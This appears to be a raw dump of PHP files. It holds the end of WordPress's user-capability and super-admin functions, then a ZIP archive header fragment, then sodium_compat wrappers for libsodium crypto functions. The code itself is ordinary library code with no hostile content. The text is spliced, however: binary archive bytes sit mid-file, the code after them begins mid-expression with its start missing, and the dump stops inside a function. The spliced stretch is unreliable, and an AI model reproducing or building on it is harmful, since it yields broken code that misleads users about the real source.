an object ID. * @return bool Whether the post author has the given capability. */ function author_can( $post, $capability, ...$args ) { $post = get_post( $post ); if ( ! $post ) { return false; } $author = get_userdata( $post->post_author ); if ( ! $author ) { return false; } return $author->has_cap( $capability, ...$args ); } /** * Returns whether a particular user has the specified capability. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * user_can( $user->ID, 'edit_posts' ); * user_can( $user->ID, 'edit_post', $post->ID ); * user_can( $user->ID, 'edit_post_meta', $post->ID, $meta_key ); * * @since 3.1.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * * @param int|WP_User $user User ID or object. * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the user has the given capability. */ function user_can( $user, $capability, ...$args ) { if ( ! is_object( $user ) ) { $user = get_userdata( $user ); } if ( empty( $user ) ) { // User is logged out, create anonymous user object. $user = new WP_User( 0 ); $user->init( new stdClass() ); } return $user->has_cap( $capability, ...$args ); } /** * Returns whether a particular user has the specified capability for a given site. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * user_can_for_site( $user->ID, $site_id, 'edit_posts' ); * user_can_for_site( $user->ID, $site_id, 'edit_post', $post->ID ); * user_can_for_site( $user->ID, $site_id, 'edit_post_meta', $post->ID, $meta_key ); * * @since 6.7.0 * * @param int|WP_User $user User ID or object. * @param int $site_id Site ID. * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the user has the given capability. */ function user_can_for_site( $user, $site_id, $capability, ...$args ) { if ( ! is_object( $user ) ) { $user = get_userdata( $user ); } if ( empty( $user ) ) { // User is logged out, create anonymous user object. $user = new WP_User( 0 ); $user->init( new stdClass() ); } // Check if the blog ID is valid. if ( ! is_numeric( $site_id ) || $site_id <= 0 ) { return false; } $switched = is_multisite() ? switch_to_blog( $site_id ) : false; $can = user_can( $user->ID, $capability, ...$args ); if ( $switched ) { restore_current_blog(); } return $can; } /** * Retrieves the global WP_Roles instance and instantiates it if necessary. * * @since 4.3.0 * * @global WP_Roles $wp_roles WordPress role management object. * * @return WP_Roles WP_Roles global instance if not already instantiated. */ function wp_roles() { global $wp_roles; if ( ! isset( $wp_roles ) ) { $wp_roles = new WP_Roles(); } return $wp_roles; } /** * Retrieves role object. * * @since 2.0.0 * * @param string $role Role name. * @return WP_Role|null WP_Role object if found, null if the role does not exist. */ function get_role( $role ) { return wp_roles()->get_role( $role ); } /** * Adds a role, if it does not exist. * * @since 2.0.0 * * @param string $role Role name. * @param string $display_name Display name for role. * @param bool[] $capabilities List of capabilities keyed by the capability name, * e.g. array( 'edit_posts' => true, 'delete_posts' => false ). * @return WP_Role|void WP_Role object, if the role is added. */ function add_role( $role, $display_name, $capabilities = array() ) { if ( empty( $role ) ) { return; } return wp_roles()->add_role( $role, $display_name, $capabilities ); } /** * Removes a role, if it exists. * * @since 2.0.0 * * @param string $role Role name. */ function remove_role( $role ) { wp_roles()->remove_role( $role ); } /** * Retrieves a list of super admins. * * @since 3.0.0 * * @global array $super_admins * * @return string[] List of super admin logins. */ function get_super_admins() { global $super_admins; if ( isset( $super_admins ) ) { return $super_admins; } else { return get_site_option( 'site_admins', array( 'admin' ) ); } } /** * Determines whether user is a site admin. * * @since 3.0.0 * * @param int|false $user_id Optional. The ID of a user. Defaults to false, to check the current user. * @return bool Whether the user is a site admin. */ function is_super_admin( $user_id = false ) { if ( ! $user_id ) { $user = wp_get_current_user(); } else { $user = get_userdata( $user_id ); } if ( ! $user || ! $user->exists() ) { return false; } if ( is_multisite() ) { $super_admins = get_super_admins(); if ( is_array( $super_admins ) && in_array( $user->user_login, $super_admins, true ) ) { return true; } } elseif ( $user->has_cap( 'delete_users' ) ) { return true; } return false; } /** * Grants Super Admin privileges. * * @since 3.0.0 * * @global array $super_admins * * @param int $user_id ID of the user to be granted Super Admin privileges. * @return bool True on success, false on failure. This can fail when the user is * already a super admin or when the `$super_admins` global is defined. */ function grant_super_admin( $user_id ) { // If global super_admins override is defined, there is nothing to do here. if ( isset( $GLOBALS['super_admins'] ) || ! is_multisite() ) { return false; } /** * Fires before the user is granted Super Admin privileges. * * @since 3.0.0 * * @param int $user_id ID of the user that is about to be granted Super Admin privileges. */ do_action( 'grant_super_admin', $user_id ); // Directly fetch site_admins instead of using get_super_admins(). $super_admins = get_site_option( 'site_admins', array( 'admin' ) ); $user = get_userdata( $user_id ); if ( $user && ! in_array( $user->user_login, $super_admins, true ) ) { $super_admins[] = $user->user_login; update_site_option( 'site_admins', $super_admins ); /** * Fires after the user is granted Super Admin privileges. * * @since 3.0.0 * * @param int $user_id ID of the user that was granted Super Admin privileges. */ do_action( 'granted_super_admin', $user_id ); return true; } return false; } /** * Revokes Super Admin privileges. * * @since 3.0.0 * * @global array $super_admins * * @param int $user_id ID of the user Super Admin privileges to be revoked from. * @return bool True on success, false on failure. This can fail when the user's email * is the network admin email or when the `$super_admins` global is defined. */ function revoke_super_admin( $user_id ) { // If global super_admins override is defined, there is nothing to do here. if ( isset( $GLOBALS['super_admins'] ) || ! is_multisite() ) { return false; } /** * Fires before the user's Super Admin privileges are revoked. * * @since 3.0.0 * * @param int $user_id ID of the user Super Admin privileges are being revoked from. */ do_action( 'revoke_super_admin', $user_id ); // Directly fetch site_admins instead of using get_super_admins(). $super_admins = get_site_option( 'site_admins', array( 'admin' ) ); $user = get_userdata( $user_id ); if ( $user && 0 !== strcasecmp( $user->user_email, get_site_option( 'admin_email' ) ) ) { $key = array_search( $user->user_login, $super_admins, true ); if ( false !== $key ) { unset( $super_admins[ $key ] ); update_site_option( 'site_admins', $super_admins ); /** * Fires after the user's Super Admin privileges are revoked. * * @since 3.0.0 * * @param int $user_id ID of the user Super Admin privileges were revoked from. */ do_action( 'revoked_super_admin', $user_id ); return true; } } return false; } /** * Filters the user capabilities to grant the 'install_languages' capability as necessary. * * A user must have at least one out of the 'update_core', 'install_plugins', and * 'install_themes' capabilities to qualify for 'install_languages'. * * @since 4.9.0 * * @param bool[] $allcaps An array of all the user's capabilities. * @return bool[] Filtered array of the user's capabilities. */ function wp_maybe_grant_install_languages_cap( $allcaps ) { if ( ! empty( $allcaps['update_core'] ) || ! empty( $allcaps['install_plugins'] ) || ! empty( $allcaps['install_themes'] ) ) { $allcaps['install_languages'] = true; } return $allcaps; } /** * Filters the user capabilities to grant the 'resume_plugins' and 'resume_themes' capabilities as necessary. * * @since 5.2.0 * * @param bool[] $allcaps An array of all the user's capabilities. * @return bool[] Filtered array of the user's capabilities. */ function wp_maybe_grant_resume_extensions_caps( $allcaps ) { // Even in a multisite, regular administrators should be able to resume plugins. if ( ! empty( $allcaps['activate_plugins'] ) ) { $allcaps['resume_plugins'] = true; } // Even in a multisite, regular administrators should be able to resume themes. if ( ! empty( $allcaps['switch_themes'] ) ) { $allcaps['resume_themes'] = true; } return $allcaps; } /** * Filters the user capabilities to grant the 'view_site_health_checks' capabilities as necessary. * * @since 5.2.2 * * @param bool[] $allcaps An array of all the user's capabilities. * @param string[] $caps Required primitive capabilities for the requested capability. * @param array $args { * Arguments that accompany the requested capability check. * * @type string $0 Requested capability. * @type int $1 Concerned user ID. * @type mixed ...$2 Optional second and further parameters, typically object ID. * } * @param WP_User $user The user object. * @return bool[] Filtered array of the user's capabilities. */ function wp_maybe_grant_site_health_caps( $allcaps, $caps, $args, $user ) { if ( ! empty( $allcaps['install_plugins'] ) && ( ! is_multisite() || is_super_admin( $user->ID ) ) ) { $allcaps['view_site_health_checks'] = true; } return $allcaps; } return; // Dummy gettext calls to get strings in the catalog. /* translators: User role for administrators. */ _x( 'Administrator', 'User role' ); /* translators: User role for editors. */ _x( 'Editor', 'User role' ); /* translators: User role for authors. */ _x( 'Author', 'User role' ); /* translators: User role for contributors. */ _x( 'Contributor', 'User role' ); /* translators: User role for subscribers. */ _x( 'Subscriber', 'User role' ); PK $[VK55sodium_compat.zipnu[PK$L[}BAAlib/namespaced.phpnu[getMessage() === 'AES-256-GCM is not available')) { throw $ex; } return false; } } } if (!is_callable('sodium_crypto_aead_aes256gcm_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_aes256gcm_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt($message, $additional_data, $nonce, $key); } } if (!is_callable('sodium_crypto_aead_aes256gcm_is_available')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available() * @return bool */ function sodium_crypto_aead_aes256gcm_is_available() { return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available(); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt() * @param string $ciphertext * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_chacha20poly1305_decrypt( $ciphertext, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt( $ciphertext, $additional_data, $nonce, $key ); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_chacha20poly1305_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt( $message, $additional_data, $nonce, $key ); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen() * @return string * @throws Exception */ function sodium_crypto_aead_chacha20poly1305_keygen() { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen(); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_chacha20poly1305_ietf_decrypt( $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt( $message, $additional_data, $nonce, $key ); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_chacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt( $message, $additional_data, $nonce, $key ); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen() * @return string * @throws Exception */ function sodium_crypto_aead_chacha20poly1305_ietf_keygen() { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen(); } } if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt() * @param string $ciphertext * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $additional_data, $nonce, $key, true ); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_xchacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt( $message, $additional_data, $nonce, $key, true ); } } if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen() * @return string * @throws Exception */ function sodium_crypto_aead_xchacha20poly1305_ietf_keygen() { return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen(); } } if (!is_callable('sodium_crypto_auth')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth() * @param string $message * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_auth( $message, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_auth($message, $key); } } if (!is_callable('sodium_crypto_auth_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth_keygen() * @return string * @throws Exception */ function sodium_crypto_auth_keygen() { return ParagonIE_Sodium_Compat::crypto_auth_keygen(); } } if (!is_callable('sodium_crypto_auth_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth_verify() * @param string $mac * @param string $message * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_auth_verify( $mac, $message, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_auth_verify($mac, $message, $key); } } if (!is_callable('sodium_crypto_box')) { /** * @see ParagonIE_Sodium_Compat::crypto_box() * @param string $message * @param string $nonce * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_box($message, $nonce, $key_pair); } } if (!is_callable('sodium_crypto_box_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_keypair() * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_keypair() { return ParagonIE_Sodium_Compat::crypto_box_keypair(); } } if (!is_callable('sodium_crypto_box_keypair_from_secretkey_and_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey() * @param string $secret_key * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $secret_key, $public_key ) { return ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey($secret_key, $public_key); } } if (!is_callable('sodium_crypto_box_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_open() * @param string $ciphertext * @param string $nonce * @param string $key_pair * @return string|bool */ function sodium_crypto_box_open( $ciphertext, $nonce, #[\SensitiveParameter] $key_pair ) { try { return ParagonIE_Sodium_Compat::crypto_box_open($ciphertext, $nonce, $key_pair); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_box_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_publickey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_publickey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_box_publickey($key_pair); } } if (!is_callable('sodium_crypto_box_publickey_from_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey() * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_publickey_from_secretkey( #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey($secret_key); } } if (!is_callable('sodium_crypto_box_seal')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seal() * @param string $message * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_seal( #[\SensitiveParameter] $message, $public_key ) { return ParagonIE_Sodium_Compat::crypto_box_seal($message, $public_key); } } if (!is_callable('sodium_crypto_box_seal_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seal_open() * @param string $message * @param string $key_pair * @return string|bool * @throws SodiumException */ function sodium_crypto_box_seal_open( $message, #[\SensitiveParameter] $key_pair ) { try { return ParagonIE_Sodium_Compat::crypto_box_seal_open($message, $key_pair); } catch (SodiumException $ex) { if ($ex->getMessage() === 'Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.') { throw $ex; } return false; } } } if (!is_callable('sodium_crypto_box_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_secretkey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_secretkey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_box_secretkey($key_pair); } } if (!is_callable('sodium_crypto_box_seed_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seed_keypair() * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_box_seed_keypair($seed); } } if (!is_callable('sodium_crypto_generichash')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash() * @param string $message * @param string|null $key * @param int $length * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash( $message, #[\SensitiveParameter] $key = null, $length = 32 ) { return ParagonIE_Sodium_Compat::crypto_generichash($message, $key, $length); } } if (!is_callable('sodium_crypto_generichash_final')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_final() * @param string|null $state * @param int $outputLength * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_final(&$state, $outputLength = 32) { return ParagonIE_Sodium_Compat::crypto_generichash_final($state, $outputLength); } } if (!is_callable('sodium_crypto_generichash_init')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_init() * @param string|null $key * @param int $length * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_init( #[\SensitiveParameter] $key = null, $length = 32 ) { return ParagonIE_Sodium_Compat::crypto_generichash_init($key, $length); } } if (!is_callable('sodium_crypto_generichash_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_keygen() * @return string * @throws Exception */ function sodium_crypto_generichash_keygen() { return ParagonIE_Sodium_Compat::crypto_generichash_keygen(); } } if (!is_callable('sodium_crypto_generichash_update')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_update() * @param string|null $state * @param string $message * @return void * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_update( #[\SensitiveParameter] &$state, $message = '' ) { ParagonIE_Sodium_Compat::crypto_generichash_update($state, $message); } } if (!is_callable('sodium_crypto_kdf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_kdf_keygen() * @return string * @throws Exception */ function sodium_crypto_kdf_keygen() { return ParagonIE_Sodium_Compat::crypto_kdf_keygen(); } } if (!is_callable('sodium_crypto_kdf_derive_from_key')) { /** * @see ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key() * @param int $subkey_length * @param int $subkey_id * @param string $context * @param string $key * @return string * @throws Exception */ function sodium_crypto_kdf_derive_from_key( $subkey_length, $subkey_id, $context, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key( $subkey_length, $subkey_id, $context, $key ); } } if (!is_callable('sodium_crypto_kx')) { /** * @see ParagonIE_Sodium_Compat::crypto_kx() * @param string $my_secret * @param string $their_public * @param string $client_public * @param string $server_public * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_kx( #[\SensitiveParameter] $my_secret, $their_public, $client_public, $server_public ) { return ParagonIE_Sodium_Compat::crypto_kx( $my_secret, $their_public, $client_public, $server_public ); } } if (!is_callable('sodium_crypto_kx_seed_keypair')) { /** * @param string $seed * @return string * @throws Exception */ function sodium_crypto_kx_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_kx_seed_keypair($seed); } } if (!is_callable('sodium_crypto_kx_keypair')) { /** * @return string * @throws Exception */ function sodium_crypto_kx_keypair() { return ParagonIE_Sodium_Compat::crypto_kx_keypair(); } } if (!is_callable('sodium_crypto_kx_client_session_keys')) { /** * @param string $client_key_pair * @param string $server_key * @return array{0: string, 1: string} * @throws SodiumException */ function sodium_crypto_kx_client_session_keys( #[\SensitiveParameter] $client_key_pair, $server_key ) { return ParagonIE_Sodium_Compat::crypto_kx_client_session_keys($client_key_pair, $server_key); } } if (!is_callable('sodium_crypto_kx_server_session_keys')) { /** * @param string $server_key_pair * @param string $client_key * @return array{0: string, 1: string} * @throws SodiumException */ function sodium_crypto_kx_server_session_keys( #[\SensitiveParameter] $server_key_pair, $client_key ) { return ParagonIE_Sodium_Compat::crypto_kx_server_session_keys($server_key_pair, $client_key); } } if (!is_callable('sodium_crypto_kx_secretkey')) { /** * @param string $key_pair * @return string * @throws Exception */ function sodium_crypto_kx_secretkey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_kx_secretkey($key_pair); } } if (!is_callable('sodium_crypto_kx_publickey')) { /** * @param string $key_pair * @return string * @throws Exception */ function sodium_crypto_kx_publickey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_kx_publickey($key_pair); } } if (!is_callable('sodium_crypto_pwhash')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash() * @param int $length * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @param int|null $algo * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash( $length, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit, $algo = null ) { return ParagonIE_Sodium_Compat::crypto_pwhash($length, $passwd, $salt, $opslimit, $memlimit, $algo); } } if (!is_callable('sodium_crypto_pwhash_str')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str() * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str($passwd, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_str_needs_rehash')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash() * @param string $hash * @param int $opslimit * @param int $memlimit * @return bool * * @throws SodiumException */ function sodium_crypto_pwhash_str_needs_rehash( #[\SensitiveParameter] $hash, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash($hash, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_str_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_verify() * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str_verify($passwd, $hash); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256() * @param int $length * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256( $length, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256( $length, $passwd, $salt, $opslimit, $memlimit ); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str() * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify() * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash); } } if (!is_callable('sodium_crypto_scalarmult')) { /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult() * @param string $n * @param string $p * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_scalarmult( #[\SensitiveParameter] $n, $p ) { return ParagonIE_Sodium_Compat::crypto_scalarmult($n, $p); } } if (!is_callable('sodium_crypto_scalarmult_base')) { /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult_base() * @param string $n * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_scalarmult_base( #[\SensitiveParameter] $n ) { return ParagonIE_Sodium_Compat::crypto_scalarmult_base($n); } } if (!is_callable('sodium_crypto_secretbox')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox() * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_secretbox( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretbox($message, $nonce, $key); } } if (!is_callable('sodium_crypto_secretbox_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox_keygen() * @return string * @throws Exception */ function sodium_crypto_secretbox_keygen() { return ParagonIE_Sodium_Compat::crypto_secretbox_keygen(); } } if (!is_callable('sodium_crypto_secretbox_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox_open() * @param string $ciphertext * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_secretbox_open( $ciphertext, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_secretbox_open($ciphertext, $nonce, $key); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_push')) { /** * @param string $key * @return array * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_init_push( #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_push($key); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_push')) { /** * @param string $state * @param string $message * @param string $additional_data * @param int $tag * @return string * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_push( #[\SensitiveParameter] &$state, #[\SensitiveParameter] $message, $additional_data = '', $tag = 0 ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_push( $state, $message, $additional_data, $tag ); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_pull')) { /** * @param string $header * @param string $key * @return string * @throws Exception */ function sodium_crypto_secretstream_xchacha20poly1305_init_pull( $header, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_pull($header, $key); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_pull')) { /** * @param string $state * @param string $ciphertext * @param string $additional_data * @return bool|array{0: string, 1: int} * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_pull( #[\SensitiveParameter] &$state, $ciphertext, $additional_data = '' ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_pull( $state, $ciphertext, $additional_data ); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_rekey')) { /** * @param string $state * @return void * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_rekey( #[\SensitiveParameter] &$state ) { ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_rekey($state); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_keygen')) { /** * @return string * @throws Exception */ function sodium_crypto_secretstream_xchacha20poly1305_keygen() { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_keygen(); } } if (!is_callable('sodium_crypto_shorthash')) { /** * @see ParagonIE_Sodium_Compat::crypto_shorthash() * @param string $message * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_shorthash( $message, #[\SensitiveParameter] $key = '' ) { return ParagonIE_Sodium_Compat::crypto_shorthash($message, $key); } } if (!is_callable('sodium_crypto_shorthash_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_shorthash_keygen() * @return string * @throws Exception */ function sodium_crypto_shorthash_keygen() { return ParagonIE_Sodium_Compat::crypto_shorthash_keygen(); } } if (!is_callable('sodium_crypto_sign')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign() * @param string $message * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign( $message, #[\SensitiveParameter] $secret_key ) { return 